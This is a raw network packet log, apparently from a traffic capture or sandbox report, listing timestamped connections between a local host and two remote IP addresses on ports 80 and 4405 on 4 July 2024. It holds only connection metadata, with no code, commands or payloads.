                                                              Jul 4, 2024 11:16:19.550009012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550055027 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.550098896 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550105095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550116062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550151110 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.550189018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550195932 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550201893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550234079 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.550391912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550398111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550409079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550415039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550420046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550425053 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550431013 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550443888 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.550474882 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.550508976 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550515890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550553083 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.550704002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550709963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550720930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550726891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550731897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550738096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550750017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550756931 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.550775051 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.550964117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550971031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550987959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550992012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.550998926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551004887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551016092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551018953 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.551023006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551034927 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551040888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551045895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551050901 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.551054001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551076889 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.551095009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.551315069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551321983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551332951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551338911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551345110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551351070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551362038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551372051 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.551394939 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.551548004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551554918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551565886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551572084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551577091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.551595926 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.551611900 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.562630892 CEST497274405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:19.568866968 CEST440549727176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:19.568965912 CEST497274405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:19.592928886 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.593888998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.593924046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.593929052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.593992949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.593997955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.594002008 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.594006062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.594012976 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.594048023 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.594080925 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.594144106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.594192982 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.621526957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.621567011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.621573925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.621630907 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.621671915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.621679068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.621691942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.621697903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.621728897 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.621784925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.621828079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.621829987 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.621835947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.621874094 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.621874094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.621882915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.621901989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.621908903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.621915102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.621928930 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.621948957 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.622037888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622081995 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.622139931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622145891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622159958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622164965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622169971 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622188091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622194052 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.622195959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622205019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622211933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622222900 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.622263908 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.622406006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622411966 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622423887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622427940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622467995 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.622505903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622514009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622519970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622525930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622554064 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.622637033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622685909 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.622739077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622745037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622750998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622756004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622761965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622769117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622787952 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.622812986 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.622873068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622914076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622925997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.622961044 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.642780066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.642822027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.642828941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.642841101 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.642864943 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.642962933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.642976999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.642982960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.642996073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643019915 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.643037081 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.643135071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643141031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643146992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643152952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643160105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643165112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643171072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643177032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643178940 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.643183947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643198013 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.643208981 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.643394947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643403053 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643414974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643421888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643434048 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643446922 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.643476963 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.643712044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643718958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643731117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643745899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643752098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643763065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.643764019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643776894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643783092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643789053 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643789053 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.643794060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643800974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643802881 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.643806934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643821001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643826008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643832922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643835068 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.643841028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643846989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643853903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643858910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643866062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.643868923 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.643887043 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.643912077 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.644489050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644495010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644503117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644510031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644515991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644521952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644527912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644532919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644532919 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.644540071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644546032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644551992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644555092 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.644563913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644567966 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644577980 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.644578934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644587040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644592047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644599915 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.644614935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644620895 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.644623041 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644638062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644640923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.644649029 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.644674063 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.644695997 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.684093952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.684113026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.684119940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.684168100 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.684212923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.684218884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.684231997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.684262037 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.684276104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.711528063 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.711559057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.711565018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.711594105 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.711621046 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.711672068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.711678982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.711689949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.711697102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.711735964 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.711750984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.711762905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.711771011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.711777925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.711790085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.711805105 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.711833954 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.711879969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.711885929 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.711899042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.711927891 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.712022066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712028027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712038994 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712053061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712059021 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712065935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712070942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712074041 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.712078094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712085009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712090015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.712126017 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.712330103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712337017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712348938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712354898 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712362051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712367058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712384939 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.712403059 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.712587118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712594032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712601900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712647915 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.712694883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712701082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712713003 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712718964 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712749958 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.712764025 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.712819099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712826014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712871075 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.712918043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712924957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712935925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712941885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.712977886 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.713850975 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.713890076 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.713905096 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.732609987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.732692957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.732700109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.732741117 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.732752085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.732758999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.732772112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.732778072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.732784986 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.732789040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.732806921 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.732836008 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.733006001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733011961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733023882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733030081 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733042955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733048916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733052015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.733057976 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733068943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733074903 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.733091116 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.733218908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733225107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733244896 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733249903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733261108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733268023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733268023 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.733273983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733282089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733287096 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.733306885 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.733419895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733478069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733483076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733489990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733494043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733517885 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.733531952 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.733634949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733642101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733653069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733659983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733674049 CEST804972385.28.47.8192.168.2.6
